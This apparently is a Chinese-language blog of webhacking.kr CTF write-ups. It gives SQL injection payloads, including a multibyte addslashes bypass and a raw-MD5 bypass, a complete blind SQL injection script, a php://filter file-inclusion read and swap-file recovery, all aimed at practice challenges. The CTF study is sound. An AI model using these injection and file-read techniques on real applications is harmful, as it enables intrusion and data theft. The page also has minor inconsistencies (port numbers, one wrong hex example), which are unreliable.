Hello Navi

Tech, Security & Personal Notes

Challenge

Return admin through a heavily filtered numeric SQL expression.

通过严格过滤的数值 SQL 表达式返回 admin。

1
https://webhacking.kr/challenge/web-24/

Analysis

lv 被当作 SQL 表达式使用。当前题目的过滤会拒绝括号、空白字符、引号以及 or、and 等关键字,但没有同时拒绝 MySQL 的 || 和十六进制字符串字面量。

100||id=0x61646d696e 的两部分分别是一个数值表达式和一个条件表达式。MySQL 中 || 可作为逻辑 OR 使用,0x61646d696e 会按字符串解释为 admin,所以当记录的 id 为 admin 时,条件为真并可被页面选中。

Solution

向 old-49 的 challenge URL 发送以下完整请求:

1
https://webhacking.kr/challenge/web-24/?lv=100%7C%7Cid%3D0x61646d696e

未编码显示时,lv 的原始值是:

1
100||id=0x61646d696e

Challenge

Use the encoding boundary to reach a UNION result with level 3.

利用编码边界注入 UNION 结果,使 level 变成 3。

1
https://webhacking.kr/challenge/web-25/

Analysis

old-50 的 id 会先经过 addslashes,之后再从 EUC-KR 转换为 UTF-8。%aa 是多字节字符的前导字节;在该转换边界下,它可以吞掉 addslashes 插入的反斜杠,使后面的单引号重新成为 SQL 语法的一部分。

pw 从注释结束处开始注入 UNION SELECT 3。Tab(%09)代替空格,#(%23)注释掉后续 SQL。这个链依赖原始请求中的字节顺序,浏览器或 HTTP 客户端不能把已经编码的 %aa、%27、%2f、%2a 再编码成字面量百分号序列。

Solution

候选请求的完整原始 query 为:

1
https://webhacking.kr/challenge/web-25/?id=%aa%27%2f%2a&pw=%2a%2funion%09select%093%23

解码后两个参数分别是:

1
2
id=\xaa'/*
pw=*/union\tselect\t3#

其中 \xaa 表示原始字节 0xaa,不是六个普通字符。需要使用 Burp Repeater 或能保留 query 原始字节的客户端重放请求,不要先把整个 URL 当作普通参数再次编码。

Challenge

Bypass the raw-MD5 SQL query on the admin page.

绕过 admin page 中的 raw-MD5 SQL 查询。

1
https://webhacking.kr/challenge/bonus-13/

Analysis

题目给出的关键服务端逻辑是:

1
2
3
4
5
6
7
8
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'], true);
$result = mysqli_fetch_array(
mysqli_query(
$db,
"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"
)
);

PHP 的 md5 第二个参数为 true 时返回 16 字节原始二进制,而不是通常看到的 32 位十六进制文本。提交的密码 129581926211651571912466741651878684928 的 MD5 原始结果已在本地核对为:

1
2
hex: 06da5430449f8f6f23dfc1276f722738
repr: b"\\x06\\xdaT0D\\x9f\\x8fo#\\xdf\\xc1'or'8"

结果中包含 'or'。拼进单引号包围的 pw 值后,SQL 片段会形成字符串比较与 or 条件,后面的非空字符串条件为真,从而绕过密码相等性检查。id=admin 选择目标记录。

Solution

向 /challenge/bonus-13/ 发送完整的 form-urlencoded 请求:

1
2
3
curl 'https://webhacking.kr/challenge/bonus-13/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'id=admin&pw=129581926211651571912466741651878684928'

Challenge

Discover the hidden table name through procedure analyse().

通过 procedure analyse() 泄露隐藏表名。

1
https://webhacking.kr/challenge/web-28/

Analysis

题目的相关 PHP 逻辑是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ($_GET['answer'] == $hidden_table) {
solve(53);
}

if (preg_match('/select|by/i', $_GET['val'])) {
exit('no hack');
}

$result = mysqli_fetch_array(
mysqli_query(
$db,
"select a from $hidden_table where a={$_GET['val']}"
)
);
echo $result[0];

answer 需要等于隐藏表名,而 val 会进入查询。MySQL 的 procedure analyse() 可以从当前结果列的元数据输出 database.table.column。因此先用 val=1 procedure analyse() 观察输出,再从三段结果中取中间的 table 名。

Solution

发现表名的完整请求是:

1
https://webhacking.kr/challenge/web-28/?val=1%20procedure%20analyse()

响应返回三段式的 database.table.column 结果:

1
<database>.<hidden-table>.<column>

Challenge

Extract the flag from the ranking query.

通过排行榜查询提取 flag。

1
https://webhacking.kr/challenge/web-31/

Analysis

rank.php 将 score 拼入查询,并根据查询结果显示两个可区分的排名行。先把结果限制到第三列,再调用 procedure analyse(),可以得到保存 flag 的列名:

1
/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse()

当前部署返回的列名是:

1
p4ssw0rd_1123581321

接着把 score 设为条件表达式。条件为真时选择已知分数 1 的行,条件为假时选择 2 的行;页面中的两行内容就是 boolean oracle。substr 在当前过滤下不可用,所以用 left。候选前缀转成十六进制后放入 LIKE 0x<hex-prefix>,既避免引号,也避免候选字符串被重新解释。

Solution

单次字符探测的完整请求模板是:

1
https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321%2CN)%20like%200x<hex-prefix>

其中 N 是当前前缀长度,<hex-prefix> 是 FLAG{ 加上已恢复字符的 ASCII 十六进制,例如首个前缀 FLAG{F 应使用:

1
464c414746

上面的示意值中不能混用全角字符;实际 ASCII 十六进制应写成:

1
464c41477b46

以下脚本包含列名、候选字符集、请求、oracle 判断和逐字符循环,可直接复现该盲注算法。运行时用环境变量提供自己的 session cookie,不要把真实 cookie 写进文章或脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import string
import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-31/rank.php"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
COLUMN = "p4ssw0rd_1123581321"
TRUE_MARKER = "Piterpan"
MAX_LENGTH = 64

# LIKE 的十六进制前缀不需要引号;% 不放入候选集,避免它成为 LIKE 通配符。
CHARACTERS = (
string.ascii_letters
+ string.digits
+ "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
)

def make_session():
session = requests.Session()
session.headers.update({"User-Agent": "old-55-writeup/1.0"})
if SESSION_ID:
session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
return session

def query(session, expression):
response = session.get(
ENDPOINT,
params={"score": expression},
timeout=20,
)
response.raise_for_status()
return response.text

def oracle(session, condition):
# score=1 is the row identified by TRUE_MARKER; score=2 is the false row.
expression = f"1 and if({condition},1,2)"
return TRUE_MARKER in query(session, expression)

def discover_length(session):
for length in range(1, MAX_LENGTH + 1):
if oracle(session, f"length({COLUMN})={length}"):
return length
raise RuntimeError("flag length was not found")

def recover_flag(session, length):
flag = ""
for position in range(1, length + 1):
for character in CHARACTERS:
candidate = flag + character
hex_prefix = candidate.encode("ascii").hex()
condition = f"left({COLUMN},{position}) like 0x{hex_prefix}"
if oracle(session, condition):
flag = candidate
print(flag)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return flag

def main():
session = make_session()
length = discover_length(session)
print(f"length={length}")
flag = recover_flag(session, length)
print(f"flag={flag}")

if __name__ == "__main__":
main()

Challenge

Use the upload path and filename behavior to read the flag.

利用上传路径和文件名处理读取 flag。

1
https://webhacking.kr/challenge/web-19/

Analysis

题目接受 multipart 文件上传,并把上传文件放入返回的随机目录。普通文件名 123 也会被保存,随后可以直接按返回目录访问该文件。文件内容并不是关键,关键是上传后的路径可读,题目在该读取响应中直接给出 flag。

Solution

下面是最小可运行 Python 请求脚本;它上传一个临时普通文件并读取题目返回的路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

def upload(session: requests.Session, challenge_url: str, filename: str) -> str:
data = b"webhacking-old-41\n"
files = {"file": (filename, data, "application/octet-stream")}
response = session.post(challenge_url, files=files, timeout=20)
response.raise_for_status()

# The challenge returns a path containing the upload directory. Keep the
# extraction conservative and fail instead of guessing a path.
match = re.search(r"(?:/challenge/web-19/)?([0-9a-f]{40})/" + re.escape(filename), response.text)
if not match:
raise RuntimeError("upload directory was not found in the response")
return urljoin(challenge_url, match.group(0))

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="https://webhacking.kr/challenge/web-19/")
parser.add_argument("--filename", default="123")
parser.add_argument("--cookie", help="optional session cookie; do not put it in the article")
args = parser.parse_args()

session = requests.Session()
if args.cookie:
session.cookies.set("session-cookie", args.cookie, domain="webhacking.kr", path="/")

uploaded_url = upload(session, args.url, args.filename)
response = session.get(uploaded_url, timeout=20)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

脚本通过 multipart/form-data 上传字段 file,从响应中提取 40 位十六进制随机目录,再 GET 该目录下的 123。

脚本依赖题目响应仍以 40 位十六进制目录返回路径;读取响应中的 flag 即可得到题目答案。

Challenge

Make the query return the admin row while bypassing the space filter.

绕过空格过滤,让查询返回 admin 记录。

1
https://webhacking.kr/challenge/web-32/

Analysis

题目的查询形态把 no 输入置于括号中,题面注释给出 admin 的 no 为 2。0 让 id='guest' 条件为假,OR no LIKE 2 选中 admin;LIKE 在这里承担比较作用,避开被过滤的 =。%09 解码为 Tab,可替代被过滤的空格;payload 先闭合输入外层括号,再用 -- 注释掉查询末尾的剩余字符。

Solution

下面构造请求,不发送请求:

1
2
3
4
5
6
7
8
9
from urllib.parse import urlencode
from urllib.request import Request

BASE_URL = "https://webhacking.kr/challenge/web-32/"
payload = "0)\tor\tno\tlike\t2\t--\t"
request_url = BASE_URL + "?" + urlencode({"no": payload})
request = Request(request_url, method="GET")

print(request.full_url)

URL 解码后的 no 值为 0)\tor\tno\tlike\t2\t--\t,其中没有普通空格,也没有 =;末尾注释会吞掉服务端拼接的其余内容。

Challenge

Read the flag source through the file parameter.

通过 file 参数读取 flag 源码。

1
http://webhacking.kr:10001/

Analysis

file 参数进入 PHP 的文件包含路径,服务端会在资源名后补上 .php。直接包含 flag 会执行其中的 PHP;把路径改成 php://filter/convert.base64-encode/resource=flag 后,PHP 先读取 flag.php,再将源码编码为 Base64,源码内容不会被执行。

Solution

完整请求脚本如下。它从响应中提取 Base64 字符串并尝试解码,直到找到包含 PHP flag 变量的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
import base64
import re

import requests

URL = "http://webhacking.kr:10017/"
FILTER_PATH = "php://filter/convert.base64-encode/resource=flag"

def decode_source(response_text: str) -> str:
candidates = re.findall(r"[A-Za-z0-9+/]{20,}={0,2}", response_text)
for token in candidates:
padded = token + "=" * (-len(token) % 4)
try:
decoded = base64.b64decode(padded, validate=True).decode(
"utf-8", errors="replace"
)
except (ValueError, UnicodeError):
continue
if "$flag" in decoded or "FLAG{" in decoded:
return decoded
raise RuntimeError("response did not contain decodable flag source")

def main() -> None:
response = requests.get(
URL,
params={"file": FILTER_PATH},
timeout=20,
)
response.raise_for_status()
print(decode_source(response.text))

if __name__ == "__main__":
main()

从响应中读取并解码 flag.php 源码后,将其中的 flag 填入认证表单。

服务端响应模板变化时,应先从响应中定位实际 Base64 内容。

Challenge

Complete a chain of small server-side validation steps.

完成一组逐步变化的服务端校验。

1
https://webhacking.kr/challenge/bonus-6/

Analysis

每个阶段只在前一阶段条件成立时继续返回 next link。校验链如下:

  1. GET 参数 get=hehe。
  2. POST 参数 post=hehe、post2=hehe2。
  3. myip 等于服务端看到的客户端公网 IP。
  4. password 等于当前 Unix 秒数的 MD5,需要在当前秒提交。
  5. GET、POST 和 Cookie 三类输入同时非空。
  6. Cookie test=md5(REMOTE_ADDR),POST kk=md5(HTTP_USER_AGENT)。
  7. GET 参数名和值都使用去掉点号后的客户端公网 IP。
  8. addr=127.0.0.1。
  9. ans=acegikmoqsuwy。
  10. 33-10 根据页面 source 中的字符替换、截断和除法逻辑生成 answerip/27287674755_5457534951.php。

前六步及后续阶段依赖同一 session;IP、User-Agent 和当前秒数变化后,派生值也随之变化。

Solution

下面的完整脚本保留同一 requests.Session,按顺序发送前十步请求。CLIENT_IP 使用题目页面显示的当前客户端地址,session-cookie 从环境变量读取。每一步都检查响应中是否仍出现 Next;最终请求使用 answerip 路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import hashlib
import os
import time

import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-6/"
ANSWER_PATH = "answerip/27287674755_5457534951.php"

def require_next(response: requests.Response, stage: str) -> None:
"""Stop when a stage does not expose the next-stage response."""
response.raise_for_status()
if "Next" not in response.text:
raise RuntimeError(f"stage {stage} did not return Next")
print(f"stage {stage}: {response.status_code} {len(response.content)} bytes")

def md5_text(value: str) -> str:
return hashlib.md5(value.encode("utf-8")).hexdigest()

def main() -> None:
client_ip = os.environ.get("CLIENT_IP")
if not client_ip:
raise SystemExit("set CLIENT_IP to the address shown by the challenge")

session = requests.Session()
user_agent = session.headers["User-Agent"]

require_next(session.get(BASE_URL, params={"get": "hehe"}, timeout=20), "33-1")
require_next(
session.post(
BASE_URL,
data={"post": "hehe", "post2": "hehe2"},
timeout=20,
),
"33-2",
)
require_next(session.get(BASE_URL, params={"myip": client_ip}, timeout=20), "33-3")

current_second = str(int(time.time()))
require_next(
session.get(
BASE_URL,
params={"password": md5_text(current_second)},
timeout=20,
),
"33-4",
)

session.cookies.set("imcookie", "1", domain="webhacking.kr", path="/")
require_next(session.get(BASE_URL, params={"imget": "1"}, timeout=20), "33-5-get")
require_next(session.post(BASE_URL, data={"impost": "1"}, timeout=20), "33-5-post")

session.cookies.set("test", md5_text(client_ip), domain="webhacking.kr", path="/")
require_next(
session.post(
BASE_URL,
data={"kk": md5_text(user_agent)},
timeout=20,
),
"33-6",
)

ip_without_dots = client_ip.replace(".", "")
require_next(
session.get(
BASE_URL,
params={ip_without_dots: ip_without_dots},
timeout=20,
),
"33-7",
)
require_next(session.get(BASE_URL, params={"addr": "127.0.0.1"}, timeout=20), "33-8")
require_next(
session.get(BASE_URL, params={"ans": "acegikmoqsuwy"}, timeout=20),
"33-9",
)

answer_url = BASE_URL + ANSWER_PATH
response = session.get(answer_url, timeout=20)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

对应的关键请求形态为:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET  /challenge/bonus-6/?get=hehe
POST /challenge/bonus-6/ post=hehe&post2=hehe2
GET /challenge/bonus-6/?myip=<client-ip>
GET /challenge/bonus-6/?password=md5(<current-unix-second>)
GET /challenge/bonus-6/?imget=1
POST /challenge/bonus-6/ impost=1
Cookie: imcookie=1
POST /challenge/bonus-6/ kk=md5(<current-user-agent>)
Cookie: test=md5(<client-ip>)
GET /challenge/bonus-6/?<ip-without-dots>=<ip-without-dots>
GET /challenge/bonus-6/?addr=127.0.0.1
GET /challenge/bonus-6/?ans=acegikmoqsuwy
GET /challenge/bonus-6/answerip/27287674755_5457534951.php

同一 session 需要按顺序完成 33-1 到 33-10,最终请求进入题目完成分支。

Challenge

Recover source and flag data from a Vim swap file.

从 Vim swap 文件中恢复源码和 flag。

1
https://webhacking.kr/challenge/bonus-8/

Analysis

题目目录残留 .index.php.swp。Vim swap 文件虽然包含二进制元数据,但编辑中的 PHP 文本仍以可搜索字符串保存在响应中。下载响应后,按 FLAG{ 开头、} 结尾的字节模式提取 flag 即可恢复题目数据。

Solution

目标文件为:

1
/challenge/bonus-8/.index.php.swp

下面的完整脚本下载 swap 文件,并从字节内容中提取 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import re

import requests

URL = "https://webhacking.kr/challenge/bonus-8/.index.php.swp"
FLAG_PATTERN = re.compile(rb"FLAG\{[^}\r\n]+\}")

def main() -> None:
response = requests.get(URL, timeout=20)
response.raise_for_status()
matches = FLAG_PATTERN.findall(response.content)
if not matches:
raise RuntimeError("no flag-shaped text found in the Vim swap response")
for value in matches:
print(value.decode("ascii"))

if __name__ == "__main__":
main()

响应包含 Vim swap 内容;从中读取并恢复 flag 后填入认证表单。